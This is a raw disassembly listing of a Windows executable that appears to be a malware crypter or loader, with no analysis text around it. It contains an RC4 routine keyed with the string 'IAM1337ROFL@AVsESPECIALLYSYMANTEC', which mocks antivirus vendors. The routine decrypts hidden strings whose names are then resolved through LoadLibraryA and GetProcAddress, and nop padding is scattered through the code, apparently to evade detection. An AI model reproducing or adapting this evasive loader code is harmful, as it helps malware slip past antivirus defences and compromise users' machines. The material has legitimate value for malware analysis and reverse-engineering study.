		xor	eax, eax
		push	ebp
		push	offset loc_403A6E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4075A4
		jnz	short loc_403A60
		mov	eax, offset dword_407038
		call	sub_402AD0
		mov	eax, offset dword_407204
		call	sub_402AD0
		mov	eax, offset dword_4073D0
		call	sub_402AD0
		call	sub_4019DC


loc_403A60:				; CODE XREF: sub_403A24+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A75


loc_403A6D:				; CODE XREF: sub_403A24+4Fj
		retn
; ---------------------------------------------------------------------------


loc_403A6E:				; DATA XREF: sub_403A24+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403A6D
; ---------------------------------------------------------------------------


loc_403A75:				; CODE XREF: sub_403A24:loc_403A6Dj
					; DATA XREF: sub_403A24+44o
		pop	ebp
		retn
sub_403A24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403A78	proc near		; DATA XREF: CODE:00405270o
		sub	ds:dword_4075A4, 1
		jnb	locret_403B4A
		mov	ds:byte_406008,	2
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:byte_407036,	2
		mov	ds:off_407000, offset sub_4038B8
		call	sub_402CAC
		test	al, al
		jz	short loc_403ABF
		call	sub_402CDC


loc_403ABF:				; CODE XREF: sub_403A78+40j
		call	sub_402DA0
		mov	ds:word_40703C,	0D7B0h
		mov	ds:word_407208,	0D7B0h
		mov	ds:word_4073D4,	0D7B0h
		call	sub_401048	; GetCommandLineA
		mov	ds:dword_40702C, eax
		call	sub_401098
		mov	ds:dword_407028, eax
		call	sub_401090	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_403B31
		call	sub_401090	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_403B20
		mov	ds:dword_4075A8, 3
		jmp	short loc_403B40
; ---------------------------------------------------------------------------


loc_403B20:				; CODE XREF: sub_403A78+9Aj
		call	sub_401068	; GetThreadLocale
		call	sub_4039B0
		mov	ds:dword_4075A8, eax
		jmp	short loc_403B40
; ---------------------------------------------------------------------------


loc_403B31:				; CODE XREF: sub_403A78+8Aj
		call	sub_401068	; GetThreadLocale
		call	sub_4039B0
		mov	ds:dword_4075A8, eax


loc_403B40:				; CODE XREF: sub_403A78+A6j
					; sub_403A78+B7j
		call	sub_401088	; GetCurrentThreadId
		mov	ds:dword_407020, eax

locret_403B4A:				; CODE XREF: sub_403A78+7j
		retn
sub_403A78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B4C	proc near		; CODE XREF: sub_403C10+Cp
		jmp	ds:dword_408114
sub_403B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B54	proc near		; CODE XREF: sub_403B6C+3p
		jmp	ds:dword_408110
sub_403B54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B5C	proc near		; CODE XREF: sub_403BC4+25p
					; sub_403BC4+36p
		jmp	ds:dword_40810C
sub_403B5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B64	proc near		; CODE XREF: sub_403B80+3Dp
		jmp	ds:dword_408108
sub_403B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403B6C	proc near		; CODE XREF: sub_403B80+21p
		push	eax
		push	40h
		call	sub_403B54	; LocalAlloc
		retn
sub_403B6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403B78	proc near		; CODE XREF: sub_403B80+1p
		mov	eax, 8
		retn
sub_403B78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403B80	proc near		; CODE XREF: sub_403BC4:loc_403BDEp
		push	ebx
		call	sub_403B78
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403BC2
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_403B9F
		mov	eax, 0E2h
		call	sub_403554
; ---------------------------------------------------------------------------


loc_403B9F:				; CODE XREF: sub_403B80+13j
		mov	eax, ebx
		call	sub_403B6C
		test	eax, eax
		jnz	short loc_403BB6
		mov	eax, 0E2h
		call	sub_403554
; ---------------------------------------------------------------------------
		jmp	short loc_403BC2
; ---------------------------------------------------------------------------


loc_403BB6:				; CODE XREF: sub_403B80+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403B64	; TlsSetValue


loc_403BC2:				; CODE XREF: sub_403B80+Aj
					; sub_403B80+34j
		pop	ebx
		retn
sub_403B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_403BC4	proc near		; CODE XREF: sub_402860+20p
					; sub_4028B8+3p ...
		mov	cl, ds:byte_40764C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_403BF9
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_403BDE:				; CODE XREF: sub_403BC4+3Dj
		call	sub_403B80
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403B5C	; TlsGetValue
		test	eax, eax
		jz	short loc_403BF3
		retn
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403BC4+2Cj
		mov	eax, ds:dword_407658
		retn
; ---------------------------------------------------------------------------


loc_403BF9:				; CODE XREF: sub_403BC4+Dj
		push	eax
		call	sub_403B5C	; TlsGetValue
		test	eax, eax
		jz	short loc_403BDE
		retn
sub_403BC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C04	proc near		; CODE XREF: sub_403C10+2Ep
		mov	eax, offset dword_406088
		call	sub_40391C
		retn
sub_403C04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403C10	proc near		; CODE XREF: start+18p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_403B4C	; GetModuleHandleA
		mov	ds:dword_407650, eax
		mov	eax, ds:dword_407650
		mov	ds:dword_40608C, eax
		xor	eax, eax
		mov	ds:dword_406090, eax
		xor	eax, eax
		mov	ds:dword_406094, eax
		call	sub_403C04
		mov	edx, offset dword_406088
		mov	eax, ebx
		call	sub_403310
		pop	ebx
		retn
sub_403C10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C54	proc near		; DATA XREF: CODE:0040526Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403C79
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C80


loc_403C78:				; CODE XREF: sub_403C54+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403C79:				; DATA XREF: sub_403C54+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403C78
; ---------------------------------------------------------------------------


loc_403C80:				; CODE XREF: sub_403C54:loc_403C78j
					; DATA XREF: sub_403C54+1Fo
		pop	ebp
		retn
sub_403C54	endp

; ---------------------------------------------------------------------------
		align 4


loc_403C84:				; DATA XREF: CODE:off_405268o
		sub	ds:dword_407654, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8C	proc near		; DATA XREF: CODE:0040527Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403CB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40765C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403CB8


loc_403CB0:				; CODE XREF: sub_403C8C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403CB1:				; DATA XREF: sub_403C8C+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403CB0
; ---------------------------------------------------------------------------


loc_403CB8:				; CODE XREF: sub_403C8C:loc_403CB0j
					; DATA XREF: sub_403C8C+1Fo
		pop	ebp
		retn
sub_403C8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403CBC	proc near		; DATA XREF: CODE:00405278o
		sub	ds:dword_40765C, 1
		retn
sub_403CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CC4	proc near		; CODE XREF: sub_403F24+E7p
		jmp	ds:dword_408124
sub_403CC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CCC	proc near		; CODE XREF: sub_403F24+AEp
					; sub_4041C0+85p
		jmp	ds:dword_408120
sub_403CCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CD4	proc near		; CODE XREF: sub_403F24+83p
					; sub_4041C0+3Fp ...
		jmp	ds:dword_40811C
sub_403CD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CDC	proc near		; DATA XREF: CODE:00405284o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403D01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D08


loc_403D00:				; CODE XREF: sub_403CDC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403D01:				; DATA XREF: sub_403CDC+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403D00
; ---------------------------------------------------------------------------


loc_403D08:				; CODE XREF: sub_403CDC:loc_403D00j
					; DATA XREF: sub_403CDC+1Fo
		pop	ebp
		retn
sub_403CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403D0C	proc near		; DATA XREF: CODE:00405280o
		sub	ds:dword_407660, 1
		retn
sub_403D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D14	proc near		; CODE XREF: sub_403E78+18p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_403688
		mov	[esp+1Ch+var_14], eax
		nop
		nop
		nop
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_403D41:				; CODE XREF: sub_403D14+33j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_403D41
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_403D51:				; CODE XREF: sub_403D14+88j
		nop
		nop
		nop
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_403D66
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_403D6B
; ---------------------------------------------------------------------------


loc_403D66:				; CODE XREF: sub_403D14+44j
		mov	[esp+1Ch+var_17], 0


loc_403D6B:				; CODE XREF: sub_403D14+50j
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_403D74
		xor	esi, esi


loc_403D74:				; CODE XREF: sub_403D14+5Cj
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_403D51
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403D14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403DA8	proc near		; CODE XREF: sub_403E78+53p
		nop
		nop
		nop
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_402B44
		retn
sub_403DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DB8	proc near		; CODE XREF: sub_403E38+34p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_403E2E
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_403DD0:				; CODE XREF: sub_403DB8+74j
		nop
		nop
		nop
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_403DD0


loc_403E2E:				; CODE XREF: sub_403DB8+10j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_403DB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E38	proc near		; CODE XREF: sub_403E78+38p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	esi, edx
		mov	ebp, eax
		nop
		nop
		nop
		mov	eax, esi
		call	sub_403688
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_403854
		push	ebx
		mov	eax, edi
		call	sub_40384C
		push	eax
		mov	eax, esi
		call	sub_4037FC
		mov	edx, eax
		mov	eax, ebp
		pop	ecx
		call	sub_403DB8
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E78	proc near		; CODE XREF: sub_403F24+75p
					; sub_403F24+9Ap ...

var_102		= byte ptr -102h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_403D14
		xor	eax, eax
		push	ebp
		push	offset loc_403ED1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		nop
		nop
		mov	ecx, esi
		lea	eax, [ebp+var_102]
		mov	edx, ebx
		call	sub_403E38
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403ED8


loc_403EC2:				; CODE XREF: sub_403E78+5Ej
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_403DA8
		retn
; ---------------------------------------------------------------------------


loc_403ED1:				; DATA XREF: sub_403E78+20o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403EC2
; ---------------------------------------------------------------------------


loc_403ED8:				; DATA XREF: sub_403E78+45o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403E78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EE0	proc near		; DATA XREF: CODE:0040528Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F0C


loc_403F04:				; CODE XREF: sub_403EE0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403F05:				; DATA XREF: sub_403EE0+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403F04
; ---------------------------------------------------------------------------


loc_403F0C:				; CODE XREF: sub_403EE0:loc_403F04j
					; DATA XREF: sub_403EE0+1Fo
		pop	ebp
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403F10	proc near		; DATA XREF: CODE:00405288o
		sub	ds:dword_407664, 1
		retn
sub_403F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F18	proc near		; CODE XREF: sub_403F24+2Dp
					; sub_4040B4+31p ...
		test	eax, eax
		jz	short locret_403F21
		sub	eax, 4
		mov	eax, [eax]

locret_403F21:				; CODE XREF: sub_403F18+2j
		retn
sub_403F18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F24	proc near		; CODE XREF: start+11Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404046
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_403F18
		mov	ebx, eax
		cmp	ebx, 4
		jbe	loc_40401C
		lea	eax, [ebp+arg_4]
		call	sub_40384C
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_403854
		cmp	dword ptr [edi], 80000h
		jbe	short loc_403F85
		mov	[ebp+var_8], 2
		jmp	short loc_403F8C
; ---------------------------------------------------------------------------


loc_403F85:				; CODE XREF: sub_403F24+56j
		mov	[ebp+var_8], 102h


loc_403F8C:				; CODE XREF: sub_403F24+5Fj
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@av ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40408C
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ds:dword_407670, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@av ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4040A0
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		mov	eax, ds:dword_407670
		push	eax
		call	sub_403CCC	; GetProcAddress
		mov	ds:dword_40766C, eax
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_40384C
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_40384C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_40766C
		mov	eax, ds:dword_407670
		push	eax
		call	sub_403CC4	; FreeLibrary
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_403854
		jmp	short loc_404023
; ---------------------------------------------------------------------------


loc_40401C:				; CODE XREF: sub_403F24+37j
		mov	eax, esi
		call	sub_403560


loc_404023:				; CODE XREF: sub_403F24+F6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40404D


loc_404030:				; CODE XREF: sub_403F24+127j
		lea	eax, [ebp+var_10]
		mov	edx, 2
		call	sub_403584
		lea	eax, [ebp+arg_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404046:				; DATA XREF: sub_403F24+1Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404030
; ---------------------------------------------------------------------------


loc_40404D:				; CODE XREF: sub_403F24+121j
					; DATA XREF: sub_403F24+107o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_403F24	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@av	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_403F24+6Bo
					; sub_403F24+90o
		align 4
		dd 0FFFFFFFFh, 9
dword_40408C	dd 0F3422875h, 0A8D8A8E5h, 50h,	0FFFFFFFFh, 13hdword_4040A0	dd 0DB4A2849h, 0A9D3E5ECh, 0DF10004Ch, 0D69BFED5h, 0E27227h
					; DATA XREF: sub_403F24+95o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040B4	proc near		; CODE XREF: start+127p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404177
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_403560
		mov	eax, [ebp+arg_4]
		call	sub_403F18
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_404159


loc_4040F7:				; CODE XREF: sub_4040B4+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_40413A
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_403F18
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_403854
		mov	eax, esi
		call	sub_40384C
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_402B44
		inc	ebx
		jmp	short loc_404153
; ---------------------------------------------------------------------------


loc_40413A:				; CODE XREF: sub_4040B4+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_403654
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_403690


loc_404153:				; CODE XREF: sub_4040B4+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_4040F7


loc_404159:				; CODE XREF: sub_4040B4+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40417E


loc_404166:				; CODE XREF: sub_4040B4+C8j
		lea	eax, [ebp+var_C]
		call	sub_403560
		lea	eax, [ebp+arg_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404177:				; DATA XREF: sub_4040B4+1Co
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404166
; ---------------------------------------------------------------------------


loc_40417E:				; CODE XREF: sub_4040B4+C2j
					; DATA XREF: sub_4040B4+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4040B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404188	proc near		; DATA XREF: CODE:00405294o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4041AD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4041B4


loc_4041AC:				; CODE XREF: sub_404188+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4041AD:				; DATA XREF: sub_404188+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4041AC
; ---------------------------------------------------------------------------


loc_4041B4:				; CODE XREF: sub_404188:loc_4041ACj
					; DATA XREF: sub_404188+1Fo
		pop	ebp
		retn
sub_404188	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4041B8	proc near		; DATA XREF: CODE:00405290o
		sub	ds:dword_407668, 1
		retn
sub_4041B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041C0	proc near		; CODE XREF: sub_4046C0+33p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4041C8:				; CODE XREF: sub_4041C0+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4041C8
		push	ebx
		push	esi
		mov	esi, offset dword_407690
		xor	eax, eax
		push	ebp
		push	offset loc_40441F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404460
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404478
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40448C
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		push	ebx
		call	sub_403CCC	; GetProcAddress
		mov	[esi], eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044A4
		call	sub_403E78
		mov	eax, [ebp+var_14]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407694, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044C0
		call	sub_403E78
		mov	eax, [ebp+var_18]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407674, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044D8
		call	sub_403E78
		mov	eax, [ebp+var_1C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407678, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset loc_4044F4
		call	sub_403E78
		mov	eax, [ebp+var_20]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407680, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404510
		call	sub_403E78
		mov	eax, [ebp+var_24]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407684, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40452C
		call	sub_403E78
		mov	eax, [ebp+var_28]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407688, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404544
		call	sub_403E78
		mov	eax, [ebp+var_2C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40769C, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404558
		call	sub_403E78
		mov	eax, [ebp+var_30]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40768C, eax
